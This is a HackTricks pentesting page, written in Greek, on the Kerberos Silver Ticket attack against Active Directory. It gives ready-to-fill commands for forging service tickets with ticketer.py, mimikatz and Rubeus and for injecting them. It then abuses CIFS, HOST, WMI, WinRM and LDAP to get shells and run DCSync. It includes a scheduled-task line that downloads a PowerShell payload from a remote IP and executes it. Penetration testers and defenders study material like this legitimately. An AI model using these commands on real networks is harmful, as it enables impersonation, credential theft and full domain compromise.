Silver Ticket

Support HackTricks

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

Silver ticket

Η επίθεση Silver Ticket περιλαμβάνει την εκμετάλλευση των υπηρεσιών εισιτηρίων σε περιβάλλοντα Active Directory (AD). Αυτή η μέθοδος βασίζεται στην απόκτηση του NTLM hash ενός λογαριασμού υπηρεσίας, όπως ένας λογαριασμός υπολογιστή, για να κατασκευαστεί ένα εισιτήριο Ticket Granting Service (TGS). Με αυτό το πλαστό εισιτήριο, ένας επιτιθέμενος μπορεί να έχει πρόσβαση σε συγκεκριμένες υπηρεσίες στο δίκτυο, υποδυόμενος οποιονδήποτε χρήστη, συνήθως στοχεύοντας σε διοικητικά δικαιώματα. Τονίζεται ότι η χρήση κλειδιών AES για την κατασκευή εισιτηρίων είναι πιο ασφαλής και λιγότερο ανιχνεύσιμη.

Για την κατασκευή εισιτηρίων, χρησιμοποιούνται διάφορα εργαλεία ανάλογα με το λειτουργικό σύστημα:

On Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Στα Windows

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

Η υπηρεσία CIFS επισημαίνεται ως κοινός στόχος για την πρόσβαση στο σύστημα αρχείων του θύματος, αλλά και άλλες υπηρεσίες όπως οι HOST και RPCSS μπορούν επίσης να εκμεταλλευτούν για εργασίες και ερωτήματα WMI.

Διαθέσιμες Υπηρεσίες

Τύπος ΥπηρεσίαςΥπηρεσία Silver Tickets

WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Ανάλογα με το OS επίσης:

WSMAN

RPCSS

WinRM

HOST

HTTP

Σε ορισμένες περιπτώσεις μπορείτε απλώς να ζητήσετε: WINRM

Προγραμματισμένα Καθήκοντα

HOST

Κοινή Χρήση Αρχείων Windows, επίσης psexec

CIFS

Λειτουργίες LDAP, συμπεριλαμβανομένου του DCSync

LDAP

Εργαλεία Διαχείρισης Απομακρυσμένου Διακομιστή Windows

RPCSS

LDAP

CIFS

Χρυσά Εισιτήρια

krbtgt

Χρησιμοποιώντας Rubeus μπορείτε να ζητήσετε όλα αυτά τα εισιτήρια χρησιμοποιώντας την παράμετρο:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

IDs Γεγονότων Silver Tickets

  • 4624: Σύνδεση Λογαριασμού

  • 4634: Αποσύνδεση Λογαριασμού

  • 4672: Σύνδεση Διαχειριστή

Κατάχρηση Εισιτηρίων Υπηρεσίας

Στα παρακάτω παραδείγματα ας φανταστούμε ότι το εισιτήριο ανακτάται υποδυόμενοι τον λογαριασμό διαχειριστή.

CIFS

Με αυτό το εισιτήριο θα μπορείτε να έχετε πρόσβαση στους φακέλους C$ και ADMIN$ μέσω SMB (αν είναι εκτεθειμένοι) και να αντιγράψετε αρχεία σε ένα μέρος του απομακρυσμένου συστήματος αρχείων απλά κάνοντας κάτι όπως:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Θα μπορείτε επίσης να αποκτήσετε ένα shell μέσα στον υπολογιστή ή να εκτελέσετε αυθαίρετες εντολές χρησιμοποιώντας psexec:

PsExec/Winexec/ScExec

HOST

Με αυτή την άδεια μπορείτε να δημιουργήσετε προγραμματισμένα καθήκοντα σε απομακρυσμένους υπολογιστές και να εκτελέσετε αυθαίρετες εντολές:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Με αυτά τα εισιτήρια μπορείτε να εκτελέσετε WMI στο σύστημα του θύματος:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Βρείτε περισσότερες πληροφορίες σχετικά με το wmiexec στην παρακάτω σελίδα:

WmiExec

HOST + WSMAN (WINRM)

Με πρόσβαση winrm σε έναν υπολογιστή μπορείτε να έχετε πρόσβαση σε αυτόν και ακόμη και να αποκτήσετε ένα PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Ελέγξτε την παρακάτω σελίδα για να μάθετε περισσότερους τρόπους σύνδεσης με έναν απομακρυσμένο υπολογιστή χρησιμοποιώντας winrm:

WinRM

Σημειώστε ότι το winrm πρέπει να είναι ενεργό και να ακούει στον απομακρυσμένο υπολογιστή για να έχετε πρόσβαση σε αυτόν.

LDAP

Με αυτό το προνόμιο μπορείτε να εξάγετε τη βάση δεδομένων του DC χρησιμοποιώντας DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Μάθετε περισσότερα για το DCSync στην παρακάτω σελίδα:

Αναφορές

DCSync

Συμβουλή bug bounty: εγγραφείτε στο Intigriti, μια premium πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers! Ελάτε μαζί μας στο https://go.intigriti.com/hacktricks σήμερα, και αρχίστε να κερδίζετε βραβεία έως $100,000!

Υποστηρίξτε το HackTricks

Last updated